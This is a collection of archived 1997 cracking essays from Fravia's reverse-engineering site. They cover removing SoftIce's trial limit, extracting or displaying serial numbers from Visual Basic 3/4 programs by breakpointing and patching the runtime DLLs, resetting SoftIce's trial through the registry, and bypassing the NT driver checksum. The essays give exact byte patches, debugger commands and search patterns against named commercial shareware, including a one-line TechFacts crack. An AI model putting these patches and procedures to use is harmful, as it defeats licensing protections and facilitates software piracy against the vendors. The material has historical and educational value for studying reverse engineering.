:00054A2C 0FAF55FC imul edx, [ebp-04]

:00054A30 03CA add ecx, edx

:00054A32 8B55F0 mov edx, [ebp-10]

:00054A35 0FAF55FC imul edx, [ebp-04]

:00054A39 03CA add ecx, edx

:00054A3B 8B55F4 mov edx, [ebp-0C]

http://www.instinct.org/fravia/wi_rcg.htm (6 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:00054A3E 0FAF55F0 imul edx, [ebp-10]

:00054A42 03CA add ecx, edx

:00054A44 8B55F4 mov edx, [ebp-0C]

:00054A47 0FAF55FC imul edx, [ebp-04]

:00054A4B 03CA add ecx, edx

:00054A4D 034DF4 add ecx, [ebp-0C]

:00054A50 034DF0 add ecx, [ebp-10]

:00054A53 034DFC add ecx, [ebp-04]

:00054A56 2BC1 sub eax, ecx

:00054A58 F7D8 neg eax

:00054A5A 2945EC sub [ebp-14], eax

:00054A5D 0F8407000000 je 00054A6A

:00054A63 2BC0 sub eax, eax

:00054A65 E97E000000 jmp 00054AE8

:00054A6A 8B45F4 mov eax, [ebp-0C]

:00054A6D 50 push eax

:00054A6E 8B45F0 mov eax, [ebp-10

:00054A71 50 push eax

:00054A72 8B45FC mov eax, [ebp-04]

http://www.instinct.org/fravia/wi_rcg.htm (7 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:00054A75 50 push eax

:00054A76 E872000000 call 00054AED

:00054A7B 83C40C add esp, 0000000C

:00054A7E 8945E8 mov [ebp-18], eax

:00054A81 8B4510 mov eax, [ebp+10]

:00054A84 50 push eax

:00054A85 8B450C mov eax, [ebp+0C]

:00054A88 50 push eax

:00054A89 8B4508 mov eax, [ebp+08]

:00054A8C 50 push eax

:00054A8D E85B000000 call 00054AED

:00054A92 83C40C add esp, 0000000C

:00054A95 8945E4 mov [ebp-1C], eax

:00054A98 8B45E4 mov eax, [ebp-1C]

:00054A9B 3945E8 cmp [ebp-18], eax

:00054A9E 0F870A000000 ja 00054AAE

:00054AA4 2BC0 sub eax, eax

:00054AA6 2B45E8 sub eax, [ebp-18]

http://www.instinct.org/fravia/wi_rcg.htm (8 of 9) [2/7/2001 3:09:50 PM]


wi_rcg

:00054AA9 F7D8 neg eax


:00054AAB 2945E4 *** sub [ebp-1C], eax ;Days using it
:00054AAE 837DE40E cmp [ebp-1C], 0000000E ;here it is****
:00054AB2 0F8217000000 *** jb 00054ACF ;Make it jmp always
:00054AB8 C705A4C10C0000000000 mov dword ptr [000CC1A4], 0 ;0 days left
:00054AC2 8B45F4 mov eax, [ebp-0C]
:00054AC5 E91E000000 jmp 00054AE8
:00054ACA E919000000 jmp 00054AE8
:00054ACF B80E000000 mov eax, 0000000E
:00054AD4 2B45E4 sub eax, [ebp-1C] ;Nop this to get always
;14 days left
:00054AD7 A3A4C10C00 mov [000CC1A4], eax ;Days left
:00054ADC 8B45EC mov eax, [ebp-14]
:00054ADF 8D444003 lea eax, [eax + 2*eax + 03]
:00054AE3 E900000000 jmp 00054AE8
:00054AE8 5F pop edi
:00054AE9 5E pop esi
:00054AEA 5B pop ebx
:00054AEB C9 leave
:00054AEC C3 ret

Now simply change 0F8217000000 to EB1E17000000 (jmp always)!!!


and 2B45E4 to 909090

Look how both routines are "identical".

Final check...I try a few diferent values for the date and it works ever!!!

Final comments:

I'm not sure... Sice may have more protections routines, it could
happen. I have not used it a long time after the above patch, but this doc
represents only another approach, now you have more perspective point to
attack this scheme. Work on it!

And finally but not less important,


*thanks a lot Razzia* (for your "how to crack" VisualBasic *.dll).

That's all folks!!!!

+Rcg 1997

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut CGI-tricks search_forms mailFraVia
Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_rcg.htm (9 of 9) [2/7/2001 3:09:50 PM]


razzia

How to crack all visual basic programs


(a Tutorial)
by Razzia

Courtesy of Fravia's page of reverse engineering


~
This Tutorial is EXTREMELY interesting: more and more programs have been written in overbloated languages like visual
basic or Delphy and, as Razzia correctly points out, this makes these programs even more crackable as "normal" applications!
Besides I find Razzia's style extremelky clever (the "more info about this program" blocks should be used by ALL crackers
from now on, for instance) and very well structured. Head his advice and always "make the point" (consider your approach)
*BEFORE* jumping in a cracking session!
Another very interesting technique, useful for protection schemes that change the mathematical algorhitm every time they are
installed, is the patching of the Visual Basic dll itself in order to SHOW you (in a mesagebox you'll call) which password you
should enter
Enjoy!

razzia's tutorial for vb cracking

Introduction

Lately more and more programs come out that are programmed in VB.
Since VB programs are still unknown material for most crackers they
ignore them and label thhem as 'uncrackable'. In this document i will show
you that this is not true for text based protections (serials/reg#'s).

As tools we will need only soft-ice and in one case hiew. Further-
more i assume that the reader is somewhat familiar with cracking. For
absolutely beginners i recommend the great tutorials made by +orc and
ed!son's good windows tutorial. But i will try my best to make the text
understandable for everyone who has a little knownledge about cracking.

Getting ourselves prepared

Before i start bombing you with asm listings lets take a moment to
think about what we are dealing with.
We are dealing with exe's that dont have code themselves but instead
they make calls to a library with standard functions.
What does this mean? It means that there is a big disadventage to
protect programs written in VB. Why? Do you think that the writers of
the VB dll made 10 different functions you could use in order to compare
2 strings? No, of course not. They made the dll to be as efficient as
possible and as small as possible.
So therefore a good guess is that there will be only 1 (or 2) place(s)
inside the dll where two strings can be compared. And that turns out to
be the case, as you will see if you finish reading this document.
Does the little lamp already begin to glow in your head ? ;--)

http://www.instinct.org/fravia/razzia.htm (1 of 8) [2/7/2001 3:09:54 PM]


razzia

Wouldnt it be great if we knew where, in the dll, 2 strings get compared?


Yes, it would be great. It would reduce VB cracking to a boring job of
setting a single breakpoint at the right place. Continue reading for
the details.

Strategy

Before we continue it would be wise to set out a strategy (like you


should always do, with every other case of cracking).

Lets think about the protection ...


You enter a string of text, then you hit enter or press 'OK' or whatever.
Then windows passes the data you entered to the VB dll. The VB dll then
does whatever it needs in order to know if the data you entered are right
or wrong. And you get a msg, saying you entered a good/wrong code.

So where would then be the weak link in the chain? The answer is where
windows passes the data you entered to the VB dll. Thats our entry point.
We can make softice break there. And then we will be at the source of the
protection-chain. With the aid of breakpoints we can then monitor what
happens to our text.

I think that we now have enough background information to crack a


first example.

Case 1 : The Collector v2.1

The collector is an utility for creating and maintaining your


image/photo collection. Not bad for a VB program.
More info about this program :

Name : The Collector v2.1


Where : http://intranet.ca/~logic/collectr.html
Size : collectr.exe = 246.047 bytes
Protection : serial
DLL : uses VB3 dll <************** VB3.DLL I find it easier to explain
things in steps. So therefore i will split the cracking process in smaller chunks :
Step 1 : Run The Collector right at startup it will ask you for a serial # Step 2 :
Enter a dummy serial like '9876543210'. Now press control-d to enter softice. In
softice enter 'bpx hmemcpy' to place a breakpoint on the hmemcpy function of the
kernel. (Intermezzo : What is hmemcpy? Windows uses hmemcpy alot in operations
concerning strings. In this case it will be used to copy the buffer with the text we
entered to the memory space of the VB dll. Remember when i said that we were gonna
break when windows passed our entered string to the VB dll?) Step 3 : Leave softice
with control-d. And press 'OK". This will make softice break right at the beginning
of hmemcpy. Step 4 : Now we will continue with tracing further into the hmemcpy
function to find out where the string we entered will be stored. Keep pressing F10
untill you see this : :Memory_copying_snippet JMP 9E9F PUSH ECX ;these lines copy the
SHR ECX,02 ;string at ds:si to es:di REPZ MOVSD ;the REPZ MOVSD! POP ECX AND ECX,03
REPZ MOVSB ;the REPZ MOVSB! XOR DX,DX Step 5: Right before REPZ MOVSD do a 'ed si'.
You will see the text you entered, in my case its shows '0987654321'. Do a 'ed es:di'
and you will see nothing (yet). But if you press F10 and get passed the REPZ MOVSB

http://www.instinct.org/fravia/razzia.htm (2 of 8) [2/7/2001 3:09:54 PM]


razzia

you will see the text getting copied to this new location, where the VB dll can
access it. Step 6: Now we know where the text is located. Lets review our strategy
here. Our plan was to find out where the VB dll kept our serial, then put a
breakpoint on that memory location and find out with what it got compared. So, lets
set a bpr (breakpoint on range) at the location where our string ,ow dwells. Since
the REPZ MOVS(D/B) instructions increased the pointer in di (it now points to the end
of our string) we do 'bpr es:di-8 es:di-1 rw'. Dont hit enter yet read step 7 first.
Step 7: Before you hit enter i will tell you what to expect. Softice will break
everywhere where that block of memory with the string is read or written to. For
example you will break inside the function strlen where the lenght of the string is
calculated. And you will break where the string is copied to another place in memory
(for example with REPZ MOVSW). When this happens place a new bpr at the new location
with the string. It will also break when the string or part of it gets deleted. If
the whole string does NOT get completely deleted do not remove the corresponding bpr.
Only remove it when the complete string gets written over by something else. Also you
will break again in hmemcpy. Hmemcpy will read another echo of the string in the
dll's memory. Place a bpr there too. And finally you will break at the part of the
code "that.class" tppabs="http://fravia.org/that.class" does the comparing (the
instruction you will see is REPZ CMPSB). When i reached that part of code i had 4
breakpoints set. One breakpoint for hmemcpy and 3 bpr's on 3 echos of the string (or
parts of it). Step 8: Now we have found the code where the VB3 dll does the comparing
we can now place a breakpoint there and disable the other breakpoints. We wont need
them anymore. We HAVE FOUND the place where things get compared in VB3. What you see
is this : :The_VB3_compare_snippet : 8BCA mov cx, dx : F3A6 repz cmpsb ;<- here the
strings in ds:si and es:di : 7401 je 8CB6 ; are being compared : 9F lahf : 92 xchg
ax,dx : 8D5E08 lea bx, [bp+08] : E80E06 call 92CB Just before the REPZ CMPSB if you
do a 'ed si' and a 'ed es:di', you will see what is compared with what. In this case
the second and third character of the string we entered are compared with 'V8'. So if
you restart the program and enter 0V87654321 it will register. Step 9: We are not
finished yet. Quite the contrary! Truly, the important part is what we do now. Next
time we meet a VB3 program (and we'll meet quite a lot of them :) we want to place a
breakpoint at the location with the code above and read out the right serial. How do
we do that ? Lets try it real quick with our target: The Collector. Start The
Collector and enter a dummy serial. Enter softice and place a breakpoint on hmemcpy.
Leave softice and press 'OK', this will put you back in softice. Now, get out of the
kernel and and get in the code of VBRUN300 (press F11 and F10 untill you get there)
Now do a search for the pattern : 8B,CA,F3,A6,74,01,9f,92,8D,5E,08,E8,0E,06 that's
the "mov cx, dx" and the rest we have seen above, search: s 0 l ffffffffff
8B,CA,F3,A6,74,01,9f,92,8D,5E,08,E8,0E,06 Place a breakpoint at the adress that gets
returned (bpx )
-press F5 and you will land in the middle of the above comparing
code.
-Only thing left to do is check out the pointers in es:di and ds:si

Case 2 : Minimize Magic 1.2.4

Minimize Magic is an utility that you can use to minimize your


programs to the traybar.

More info about this program:

Name : Minimize Magic 1.2.4


Where : http://www.genesoft.demon.co.uk/
Size : minimagic.exe = 159.744 bytes

http://www.instinct.org/fravia/razzia.htm (3 of 8) [2/7/2001 3:09:54 PM]


razzia

Protection : password based on key


DLL : uses VB4 dll <************** VB4.DLL To crack this program you can
proceed on the same lines we used with The Collector. Starting with hmemcpy, working
your way to the code "that.class" tppabs="http://fravia.org/that.class" compares the
string you entered. Important thing to know is that the VB4 dll always converts
strings to the WideChar format before it does anything with them. So instead of using
hmemcpy you can set a breakpoint on MultiByteToWideChar to break. Check your windows
API reference to learn more about this function. I have done all the hard work for
you and found the VB4 dll code that compares two strings (in WideChar format !).
Heres the listing : : 56 push esi : 57 push edi : 8B7C2410 mov edi, [esp + 10] :
8B74240C mov esi, [esp + 0C] : 8B4C2414 mov ecx, [esp + 14] : 33C0 xor eax, eax :
F366A7 repz cmpsw ;<-- here the (WideChar) strings at ds:esi : 7405 je 0F79B362 ; and
es:edi get compared : 1BC0 sbb eax, eax : 83D8FF sbb eax, FFFFFFFF : 5F pop edi : 5E
pop esi : C20C00 ret 000C Now we know enough about the VB4 dll, let's crack Minimize
Magic: Step 1: Start Minimize Magic and chose Register from the menus. You will be
asked for a Name and a Password. Enter a name and a dummy password. Dont press 'OK'
yet, continue with next step. Step 2: Enter softice and place a breakpoint on
hmemcpy. Leave softice and press 'OK'. You will land in softice. Step 3: Press F11
and F10 untill you are out of the kernel and in the code of the VB40032.dll. Now we
will search for the pattern of the code above. Do 's 0 l fffffffff
56,57,8b,7c,24,10,8b,74,24,0c,8b,4c,24,14' and place a breakpoint at the adress that
gets returned. Step 4: Press F5 to leave softice... you will immediately break again
into the target, right at the beginning of the above code. Here the password you
entered will be compared to the correct password. Trace until right before the REPZ
CMPSW and do 'ed es:edi', this will show the password you entered. If you do 'ed esi'
you will see the correct password. (this string will be in WideChar format for
example you could see A T G H D E H D. That means your password is ATGHDEHD) Ok, now
you found a working password that will work only for the version installed on your
computer. If you give that password to somebody else, the program wont accept it. The
password is calculated from a Key that is different on each computer. This key could
be randomly generated at setup or based on the info on your hd, or on the date, the
time or whatever. Whichever one it is, it could be hard to find out how its generated
or where it is stored. So how can we make a general crack ? We could use the 'Magic
Window' trick here. We will 'reprogram' the VB40032.dll to show the correct password.
The original code in the VB40032.dll looks like this : :0F79B348 56 push esi
:0F79B349 57 push edi :0F79B34A 8B7C2410 mov edi, [esp + 10] ; es:edi> pw you entered
:0F79B34E 8B74240C mov esi, [esp + 0C] ; esi -> correct pw
:0F79B352 8B4C2414 mov ecx, [esp + 14]
:0F79B356 33C0 xor eax, eax
:0F79B358 F366A7 repz cmpsw ; compare them
:0F79B35B 7405 je 0F79B362
:0F79B35D 1BC0 sbb eax, eax
:0F79B35F 83D8FF sbb eax, FFFFFFFF
:0F79B362 5F pop edi
:0F79B363 5E pop esi
:0F79B364 C20C00 ret 000C ; end of this function

:0F79B367 57 push edi ; the code below this adress


:0F79B368 8B7C2408 mov edi, [esp + 08] ; is not important, but we
:0F79B36C 8B4C2410 mov ecx, [esp + 10] ; will need its space
:0F79B370 8B44240C mov eax, [esp + 0C]
:0F79B374 0BE4 or esp, esp
:0F79B376 F266AF repnz scasw
:0F79B379 B800000000 mov eax, 00000000
:0F79B37E 7503 jne 0F79B383

http://www.instinct.org/fravia/razzia.htm (4 of 8) [2/7/2001 3:09:54 PM]


razzia

:0F79B380 8D47FE lea eax, [edi-02]


:0F79B383 5F pop edi
:0F79B384 C20C00 ret 000C

The code is located at offset 7a748 in the vb40032.dll file. So, to


make a general crack make a patch that turns the above code into:

:0F79B348 56 push esi


:0F79B349 57 push edi
:0F79B34a 8B7C2410 mov edi, [esp + 10] ;es:edi --> text you enter
:0F79B34E 8B74240C mov esi, [esp + 0C] ;esi --> correct pw
:0F79B352 813F70006300 cmp dword ptr [edi], 00630070 ;edi -> 'PC" ?
:0F79B358 7527 jne 0F79B381 ;if not - leave
:0F79B35A 803E00 cmp byte ptr [esi], 00 |<- these lines :0F79B35D 7410 je
0F79B36F | put spaces :0F79B35F 83C601 add esi, 00000001 | between the chars
:0F79B362 C60620 mov byte ptr [esi], 20 | :0F79B365 EB03 jmp 0F79B36A |<--skip the
ret :0F79B367 C20C00 ret 000C ;<-- this to prevent crash :0F79B36A 83C601 add esi,
00000001 | :0F79B36D EBEB jmp 0F79B35A |<- back to the start :0F79B36F 8B3DDCC47B0F
mov edi, [0F7BC4DC] *<-- these lines :0F79B375 8B74240C mov esi, [esp + 0C] * call
the :0F79B379 6A00 push 00000000 * MessageBoxA :0F79B37B 56 push esi * function to
show :0F79B37C 56 push esi * the correct :0F79B37D 6A00 push 00000000 * password
:0F79B37F FFD7 call edi * :0F79B381 5F pop edi :0F79B382 5E pop esi :0F79B383 90 nop
:0F79B384 C20C00 ret 000C Comments: We used the space of two routines, so to prevent
a crash we have to put a RET function at the beginning of the (original) second
function (see line 0F79B367). This part of the VB4 dll code "is.class"
tppabs="http://fravia.org/is.class" not only used to check the passwords. It is used
by other parts of the program as well. Therefor we need to do something so that only
something will be shown when we are dealing with a password comparison. That is what
the code at line 0F79B352 is about. It checks to see if EDI points to the text "PC".
So we can use that to trigger the crack. To trigger the crack, "PC" has to be entered
for password when registering. The lines marked with | are there to put spaces
between chars of the string. Originally there would be a string of WideChar format.
That means that in memory there will be zero's between the chars. But the function we
have used to show us the text (MessageBoxA) translates a 0 to end of string. So we
would get only 1 letter if we did not replace the zeros with spaces. The lines marked
with * are there to call the function MessageBoxA to show the correct password. I
ripped those commands from the VB4 dll. Placed a breakpoint on MessageBoxA to see how
VB4 called it. Well thats it for Minimize Magic. To make a general crack, a patch
could be written that patches the VB4 dll at offset 7a748 with the above code. To use
such a crack minimagic.exe and the vb40032.dll should be placed in a temp dir and the
patch run there. Then start minimize.exe from that temp dir, and use 'PC' for
password. And voila, a window will pop up with the correct password. Once the correct
pw is known, the temp files should be deleted and the password can be used in the
original Minimize Magic. Case 3 : Sub Station Alpha 2.02 Most of the VB4 programs can
be cracked with the method described in case 2, but i have encountered 2 programs
which used a different method of comparing. One of those programs is Sub Station
Alpha 2.02. It uses a protection that first converts a number you enter to its hex
value and then compares it with the correct number. Lets start to crack Sub Station
Alpha right now: things will get clearer. Info about this program: Name : Sub Station
Alpha 2.02 Where : http://www.eswat.demon.co.uk/index.html Size :
SUBSTN32.EXE="629.248" bytes Protection : password based on user name DLL : uses VB4
dll Earlier i mentioned that VB4 converts strings to the widechar format before it
does aything with them. Therefore we will use this function as an entry point. Again
we will do it step by step ;--) Step 1: Start Sub Station Alpha and chose register
from the menus. Enter a name and a dummy registration key. Step 2: Enter softice and

http://www.instinct.org/fravia/razzia.htm (5 of 8) [2/7/2001 3:09:54 PM]


razzia

place a breakpoint on MultiByteToWideChar (with softice command 'bpx


multibytetowidechar') Step 3: Now, leave softice and press "Register". Step 4:
Softice will break at the beginning of MultiByteToWideChar, press F11 to get out of
it. You will see : :FF1500C27B0F call [KERNEL32!MultiByteToWideChar] :8BD8 mov ebx,
eax :83FEFF cmp esi, FFFFFFFF :7501 jne 0F738BCF :4B dec ebx :53 push ebx :6A00 push
00 :FF1518C97B0F call dword ptr [0F7BC918] :8BE8 mov ebp, eax :85ED test ebp, ebp
:0F845B260100 jz 0F74B23D :43 inc ebx :53 push ebx :55 push ebp :56 push esi :57 push
edi :6A00 push 00 :6A00 push 00 :FF1500C27B0F call [KERNEL32!MultiByteToWideChar]
:8BC5 mov eax, ebp ;<-- do 'ed ebp' here :5D pop ebp :5F pop edi :5E pop esi The
important place is right after the second call to MultiByte- ToWideChar. Disable the
first bp on MultiByteToWideChar and place a new bp right after the second call to
that function (on the line with MOV EAX,EBP). On that line EBP will contain a pointer
to a string in WideChar format that was processed. It doesnt have to be the string of
the registration key. Therefor we will edit that breakpoint so that it will only
break when it is processing the registration key. How can we do that? Well, the
MultiByteToWideChar function returns the lenght of the string it processed plus 1 in
EAX. So we will add a conditional statement on the breakpoint. Do 'bl' to find out
what the number is of that breakpoint. Then do 'bpe #' and add 'if
al="=<lengthOfKeyString+1">' to the breakpoint. For example, if you
entered '212121', lenghtOfKeyString would be 6 :--).

Step 5: Now we will let the program run with F5. When softice breaks
do a 'ed edp' and see the WideChar form of the key you entered. We
place a bpr on the block of memory containing the string and we
continue (F5). What will happen is this. Softice will break on several
places. Whats important is that it will break in the code of OLEAUT32.
When that happens trace a litle further to see whats going on. The
first few times you will get out of the OLEAUT32 very quickly. But
eventually you will see this code :

( listing from OLEAUT32.DLL)


:6534B6B3 395C240C cmp [esp + 0C], ebx ; this is a loop that
:6534B6B7 7E14 jle 6534B6CD ; goes trough all
:6534B6B9 33C9 xor ecx, ecx ; the chars of a
:6534B6BB 8D0492 lea eax, [edx + 4*edx] ; string, in the end
:6534B6BE 8A0E mov cl , [esi] ; edx will have the
:6534B6C0 46 inc esi ; hex value of the string
:6534B6C1 4F dec edi
:6534B6C2 FF4C240C dec [esp + 0C]
:6534B6C6 8D1441 lea edx, [ecx + 2*eax]
:6534B6C9 85FF test edi, edi
:6534B6CB 7FE6 jg 6534B6B3
:6534B6CD 85FF test edi, edi
:6534B6CF 7F4A jg 6534B71B
.............
.............
:6534B6F2 8910 mov [eax], edx ; edx is saved
:6534B6F4 33C0 xor eax, eax
:6534B6F6 83C424 add esp, 00000024
:6534B6F9 C21000 ret 0010

Step 6: We saw that the key is transformed into its hex value,
and saved to a place in memory. If you monitor this memory location,
you will end up here in the VB4 dll that compares it with another

http://www.instinct.org/fravia/razzia.htm (6 of 8) [2/7/2001 3:09:54 PM]


razzia

value:

:0F7A2CE1 5A pop edx ; load edx


:0F7A2CE2 58 pop eax ; load eax
:0F7A2CE3 2BC2 sub eax, edx ; subtract them
:0F7A2CE5 83F801 cmp eax, 00000001
:0F7A2CE8 1BC0 sbb eax, eax
:0F7A2CEA 50 push eax
:0F7A2CEB 0FB706 movzx word ptr eax, [esi]
:0F7A2CEE 83C602 add esi, 00000002
:0F7A2CF1 FF2445F4997B0F jmp dword ptr [2*eax + 0F7B99F4]
:0F7A2CF8 E8BB000000 call 0F7A2DB8

We see that EDX and EAX get loaded from the stack, and then
substracted. This is just an indirect way of comparing those two
values. If you check out the contents of EAX and EDX, you will see
that one has the number you entered and the other one will have the
correct registration number.

Step 7: Now we found this location its wise to note the hex values
of the code, so you can find it back quickly when you suspect that
another VB4 program uses this protection.

Final notes

Well, with the above 3 techniques i have been able to crack quite
some VB3/4 programs that used a text based protection. Sometimes
when you set a breakpoint at the comparing routine, softice will not
break. Try then to enter strings with a different length. Because
the program could be checking the length of the string you enter before
it compares the string itself. And other programs first isolate chars
from the string you enter and then compare those isolated chars, but
again they get compared at the locations stated in the examples above.
With VB5 programs i havent much experience, i only cracked one of
them. It was called Hitlist Pro v3.0. By patching the VB5 dll, I could
remove its 30 day timelimit just like it was a regular program. Of
course, the VB5 dll had to be placed in the Hitlist Pro main dir,
this to prevent other VB5 programs using the patched DLL.

Thats it folks, you may contact me (if you know how ;--) on irc
with feedback and questions.

Big greets to : tHATDUDE, madmax!, cH, Teraphy, KillerBee,j0b,


StarDogg Champion,aCP,rANDOM and all the
others i forgot.

Special greets and thanks to +ORC and rest of +HCU

razzia [pc97]
date: 08 May 1997

http://www.instinct.org/fravia/razzia.htm (7 of 8) [2/7/2001 3:09:54 PM]


razzia

I'm impressed. I believe we should use this approach also with all the OTHER overbloated languages' dlls... say for instance
the *.dll of Visual c++... That's an idea! I'm already on my way :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms mailFraVia

http://www.instinct.org/fravia/razzia.htm (8 of 8) [2/7/2001 3:09:54 PM]


wi_frog2

+HCU 1997, Project2: Winice cracking


Phase 3
Courtesy of Fravia's page of reverse engineering

I wrote the follwing after +RCG's first essay (more on Winnie):


Apparently Numega's guys reacted very quickly to the information above. The new downloads from their site DO NOT
HAVE any more the
; Eval expiration date - DO NOT REMOVE!
string... :-) Funny, isn't it?

And This essay was an answer from Frog's print:

Phase 3
By Frog's print - 26 May 1997

No, unfortunately they didn't! Not yet...

I downloaded SoftIce 3.01 Win95 today (Friday 23,1997) at Numega's web site (the
quickest way to get it (and the documentation) without their registration form
is : http://www.numega.com/eval/evareq6_stp2.ht) and re-installed it.

I DID find the "Eval expiration date - DO NOT REMOVE!..." string inside
WinIce.dat.

The reason is that right BEFORE installing it I DELETED in the Registry the
following values:

HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help
OleGUIDHigh
OleGUIDLow

Those values are ONLY used by Loader32.exe and the SetUp program.

The values inside WinIce.dat (Eval expiration date...) are ONLY used by
WinIce.exe.

Rename "HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help" or delete it and then


fire Loader32.exe. You'll get the following error message:

"Access violation at address 78608952.Read of address 78608952".

Then, Loader32 will pop-up and you'll see:

In the status bar : "Soft-Ice not loaded" ; even if it IS!!


In the main window : "Blah blah blah" ; funny isn't it?

http://www.instinct.org/fravia/wi_frog2.htm (1 of 2) [2/7/2001 3:09:56 PM]


wi_frog2

You'll get a similar message if you delete or rename "OleGUIDHigh" or


"OleGUIDLow" but in such a case, WinIce.exe will be active.

Now, if the 'eval Expiration...' line in winice.dat is removed or does not


appear in your WinIce.dat, WinIce.exe will NEVER work but the Loader will.

The SetUp program just checks the Registry for "OleGuidHigh" and "OleGuidLow" to
see if a copy of SoftIce (14 days trial) has previously been installed on your
computer (the UnInstall program does not remove them).

If so, it will not add the installation date string inside WinIce.dat even if
your evaluation period has not yet expired and you could not use SoftIce any
longer (and it will not change the values in the Registry as well).

This is just because Numega's guys don't want you to re-install it as many times
as you want in order to use the program after the 14 days trial period.

So, without cracking WinIce.exe, NmTrans.dll and Loader32.exe, you can use
SoftIce FOREVER as long as, when you re-install it after you trial period, yo
delete the values located in the Registry.

Again, this is just another very simple (and from our point of view rather
disappointing!) trick/protection from Numega! Cmon guys, you can protect
better than that!

PS: To check the above comments, the best is to install and then re-install
SoftIce using a "Spy" program like TechFacts 95 v1.30 (3/7/97) (from
DeanSoftware Desing - who released InfoSpy) available at:
http://ourworld.compuserve.com/homepages/deansoft
I use it each time I install a program and it is very helpful (BTW, as it is
shareware, you may want to crack it by searching for "C6051AF34C0001" and
replace with "C6051AF34C0000"! :-)

Frog's Print -

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut CGI-tricks search_forms mailFraVia
Is software reverse engineering legal?

http://www.instinct.org/fravia/wi_frog2.htm (2 of 2) [2/7/2001 3:09:56 PM]


wi_igno

+HCU 1997, Project2: Winice cracking


Phase 4
Courtesy of Fravia's page of reverse engineering

Phase 4
By IgNorAMUS - 27 May 1997

SoftIce 3.01 cracking again, NTIce this time...


(How EXE checksums work)

------------------------------------------------

When I found Project 2 on Fravia, I said to myself: Great, let's try


it. But then I thought: I have the full version of SoftIce 3.01 for
Windows 95 already, so why should I crack the trial version?
Let's crack the demo of SoftIce 3.01 for Windows NT instead.

As I expected, everything was exactly the same. The only tool I needed
was HIEW (which is really a great thing, I hope you all know it).
I took the Project 2 page and searched for the pieces of code described
there. Within a few minutes the crack of Loader32 was done.

At the time ofd my session only the first part of Project 2 was available,
so I had to do all the rest by myself. I disassembled the NTICE.SYS (which
is the NT version of WINICE.EXE) and looked for the substring "time",
following +ORC's advice in his lesson 4.2.
I found 2 imported functions: RtlTimeToTimeFields and KeQuerySystemTime.
The second function looked pretty interesting. Wow! Only one occurence
in the whole file. A few lines below KeQuerySystemTime I found the call to
a routine VERY similar to NmGetNumDaysLeft. Well, you know all this from
+Rcg's essay. So I simply changed the end of the check and thought that
everything was done.

But when I tried to start the NTIce, the only result was an error
messagebox:

System Process - Unable to Load Device Drivers


\SystemRoot\System32\DRIVERS\NTice.sys device driver could not be
loaded. Error Status was 0xc0000221.

What's this? Does our target hyde some checksum protection inside?

I tried to change some stupid byte inside the string "This program
cannot be run in DOS mode", in the file header. The result was exactly the
same - again this nasty message: checksum protection!

OK. I wanted to know where the checksum was counted and checked.
So I loaded the original (unaltered) version of NTIce - to be able to trace
it, I renamed the "cracked" NTICE.SYS to PNPISA.SYS and tried to fire

http://www.instinct.org/fravia/wi_igno.htm (1 of 4) [2/7/2001 3:09:59 PM]


wi_igno

it. Again the same message.

Whenever I started up my version of NTIce (called PNPISA now), my


computer seemed to do something for a few tenths of second (I have a
P100).
So I started it again and pressed CTRL+D immediately afterwards,
"manually" trying to fish the scheme.
I landed in a piece of code that really looked like some kind of checksum
counting. I followed... after a while I got here:

0008:80178A0E CALL 80187400


0008:80178A13 TEST AL,AL
0008:80178A15 JNZ 80178A29
0008:80178A17 JMP 80178A22
0008:80178A19 MOV EAX,000000001
0008:80178A1E RET
0008:80178A1F MOV ESP,[EBP-18]
0008:80178A22 MOV DWORD PTR [EBP-1C],C0000221;

STATUS_IMAGE_CHECKSUM_MISMATCH

0008:80178A29 MOV DWORD PTR [EBP-04],FFFFFFFF


0008:80178A30 PUSH DWORD PTR [EBP-24]
0008:80178A33 PUSH FF
0008:80178A35 CALL 80178AAA
...

Where are we? Hey, look! We're not in NTIce, but in


NTOSKRNL.EXE. So it's not a Numega's protection anymore,
it's Microsoft's own protection! Interesting.

I run HIEW a looked at NTICE.SYS header description


- there is a checksum there. I wrote down its value and
traced inside the checking call (the one at 80178A0E).

I found CMP EAX,EDX at the end of the function.


The value of EDX was exactly the same as the checksum
reported by HIEW. That means that EAX must contain the
REAL checksum. I wrote this value into my NTIce/PNPISA
header, fired it - and it worked!!!
So I rebooted - NTIce was cracked! :-)

Later I searched the Internet for some EXE file description


-I wanted to know if I had traced the NT kernel just to
find something everybody knows already.
I found quite comprehensive PE EXE description at
http://www.microsoft.com/win32dev/base/pefile.htm.

Let's take a look at it: description of EXE header, PE signature, PE


header, PE Optional Header - here it is!
...
ULONG CheckSum;
...

Where's its description? Ah, here:

http://www.instinct.org/fravia/wi_igno.htm (2 of 4) [2/7/2001 3:09:59 PM]


wi_igno

...
CheckSum.
A checksum value is used to validate the executable file at load time.
The value is set and verified by the linker. The algorithm used for
creating these checksum values is proprietary information and will not be
published.
...

Do you love Microsoft as much as I do?

A pretty scary world... let's take a better look at the algorithm.


Here's the code from NTOSKRNL.
(Sorry it's written by hand, but I could not disassemble it, because
WDASM8 crashes down before it reaches this piece of code and
WDASM7 simply stops around the same position :-(

; this is just a subroutine, the main entry point is a little below...


; ----------------------------------------------------------------------

873C2: push ebp


mov edx,[esp+10] ; number of word components in file
mov ebp,esp
mov eax,edx
push esi
dec edx
mov ecx,[ebp+8] ; always 0
test eax,eax
je 873F3
mov esi,[ebp+0C] ; buffer address
873D7: movzx eax,[word ptr esi] ; LOOP beginning
add ecx,eax
add esi,2
mov eax,ecx ; in this loop
and ecx,0ffff ; the checksum is done
shr eax,10
add ecx,eax
mov eax,edx
dec edx
test eax,eax
jne 873D7 ; LOOP end

873F3: mov eax,ecx


pop esi
shr eax,10
pop ebp
add ax,cx
retn 0c

; <<--------- this is the entry point push ebx push esi mov esi,[esp+10] ; file
length push edi push ebp lea eax,[esi+1] shr eax,1 push eax ; number of word
components in file ; if the file length is odd, ; 00h is appended after the last byte
push [dword ptr esp+18] ; buffer (file image in memory) push dword 00 ; checksum
start value call 873C2 push [dword ptr esp+14] ; buffer address mov di,ax ; ax
changes during call, so store it call RtlImageNtHeader ; returns position of 'PE' in
